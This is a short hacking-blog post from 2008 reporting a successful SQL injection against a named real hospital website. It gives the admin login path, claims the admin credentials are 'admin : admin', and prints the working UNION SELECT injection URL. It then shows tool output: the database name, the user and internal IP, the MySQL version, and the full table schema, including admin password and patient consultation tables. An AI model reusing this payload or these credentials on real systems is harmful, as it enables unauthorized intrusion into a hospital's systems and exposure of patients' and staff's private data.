viperfx07 is here to blog about hacking, cracking, website, application, android, and many more.

Thursday, October 9, 2008

[SQLi] http://www.rs-internasionalbintaro.com/

6:54 PM Posted by viperfx07 No comments


admin dir --> http://www.rs-internasionalbintaro.com/admin/
admin usr --> admin : admin (wtf?)

[+] URL:http://www.rs-internasionalbintaro.com/nexthealthseminar.php?detail=1111+AND+1=2+UNION+SELECT+0,1,2,3,sqli,5,6,7,8,9,10,11,12,13,14,15,16,17--
[+] Evasion Used: "+" "--"
[+] 14:53:54
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: rsbintaro
User: rsbintaro@10.64.254.10
Version: 5.0.22-log

[Database]: rsbintaro
[Table: Columns]
[0]admin: loginname,password,capable,active
[1]agenda: ID,KATEGORI,HARI,TANGGAL,KOTA,JUDUL,ABSTRAK,IMAGE1,IMAGE2,EXPIRE,CONTENT
[2]bukutamu: id,name,alamat,kota,telp,email,comments,mdate,tanggal,jam,ip,expire
[3]content: NO,nama,isi,STATUS
[4]dokter: id_doc,nm_doc,kd_spec,EXPIRE
[5]fungsi: no,name,description,category,pic
[6]info: ID,KATEGORI,HARI,TANGGAL,KOTA,JUDUL,ABSTRAK,IMAGE1,IMAGE2,EXPIRE,CONTENT
[7]ipmasuk: ipmasuk,ip,waktu,pesan
[8]jadwal: id,id_doc,senin,selasa,rabu,kamis,jumat,sabtu,EXPIRE
[9]kategori_fungsi: no,description
[10]konsul_umum: ID,KATEGORI,STATUS,TANGGAL,NAMA,ALAMAT,KOTA,EMAIL,TELP,JUDUL,TANYA,JAWAB,EXPIRE
[11]logs: user,ip,time,act
[12]myfile: fileid,filename,filename0,filetype,fileheader,filesize,filetemp,filedate
[13]sesi: SESSION,capable,id_prop,user,ip,last,act
[14]spec: KD_SPEC,NM_SPEC_IND,NM_SPEC_ENG,EXPIRE
[15]t_accordion: ac_seq,ac_sectionID,ac_code,ac_itemID,position,ac_title,ac_body,ac_banner,ac_module,created_date,created_by,update_date,update_by,approve,hits,revised,meta_key,meta_desc,meta_data
[16]t_accordiondetail: ad_seq,ad_sectionID,ad_code,ad_itemID,position,ad_title,ad_body,ad_banner,ad_module,created_date,created_by,update_date,update_by,approve,hits,revised,meta_key,meta_desc,meta_data
[17]t_admin: ad_seq,ad_username,ad_password,ad_fullname,ad_email,ad_type,update_by,update_date,last_logon
[18]t_admin_act: ac_seq,ad_seq,action,update_date
[19]t_answer: an_seq,an_code,an_questCode,an_body,created_date,created_by,update_date,update_by,approve,publish,hits,revised
[20]t_doctor: do_seq,do_code,do_specialID,do_title,do_short_body,do_body,do_dob,do_dobshow,do_pob,do_sex,do_nationality,do_homeaddress,do_officeaddress,do_status,do_spouse,do_children,do_photo,created_date,created_by,update_date,update_by,approve,revised,hits,position
[21]t_doctorextra: de_seq,de_doctorID,de_title,de_body,created_date,created_by,update_date,update_by
[22]t_doctorschedule: ds_seq,ds_doctorID,ds_sectionID,ds_mon_start,ds_mon_end,ds_tue_start,ds_tue_end,ds_wed_start,ds_wed_end,ds_thu_start,ds_thu_end,ds_fri_start,ds_fri_end,ds_sat_start,ds_sat_end,created_date,created_by,update_date,update_by,approve,revised,hits
[23]t_doctorspecial: ds_seq,ds_title,ds_body,created_date,created_by,update_date,update_by,approve,revised,searchable
[24]t_event: ev_seq,ev_sectionID,ev_code,ev_itemID,ev_date,ev_title,ev_short_body,ev_body,ev_module,is_archive,created_date,created_by,update_date,update_by,approve,revised,hits,featured
[25]t_gallery: ga_seq,ga_sectionID,ga_code,ga_itemID,position,ga_title,ga_body,ga_image,created_date,created_by,update_date,update_by,approve,revised,hits
[26]t_guestbook: gb_seq,gb_author,gb_email,gb_address,gb_city,gb_pcode,gb_phone,gb_body,created_date,status,update_date
[27]t_infocenter: ic_seq,ic_sectionID,ic_itemID,ic_title,ic_body,created_date,created_by,update_date,update_by,approve,is_archive
[28]t_module: mo_seq,mo_title,mo_frontend,mo_admin,update_date
[29]t_question: qu_seq,qu_sectionID,qu_itemID,qu_title,qu_body,qu_author,qu_email,qu_answer,created_date,update_date,update_by,meta_key,meta_desc,meta_data,approve,publish,position,hits,revised
[30]t_questionanswer: qa_seq,qa_sectionID,qu_itemID,qa_title,qa_body,qa_body_answer,qa_author,qa_email,created_date,update_date,update_by,meta_key,meta_desc,meta_data,approve,position,hits,revised
[31]t_section: se_seq,se_static,se_title,se_slogan,se_header,se_email,created_date,created_by,update_date,update_by,approve,revised,hits
[32]t_static: st_seq,position,st_sectionID,st_code,st_title,st_body,st_header,st_banner,st_module,created_date,created_by,update_date,update_by,approve,hits,revised,meta_key,meta_desc,meta_data
[33]t_substatic: ss_seq,position,ss_sectionID,ss_staticID,ss_code,ss_title,ss_body,ss_banner,ss_header,ss_module,created_date,created_by,update_date,update_by,approve,hits,revised,meta_key,meta_desc,meta_data
[34]terkini: ID,KATEGORI,HARI,TANGGAL,KOTA,JUDUL,ABSTRAK,IMAGE1,IMAGE2,EXPIRE,CONTENT

[-] [14:56:52]
[-] Total URL Requests 394
[-] Done

0 comments:

Post a Comment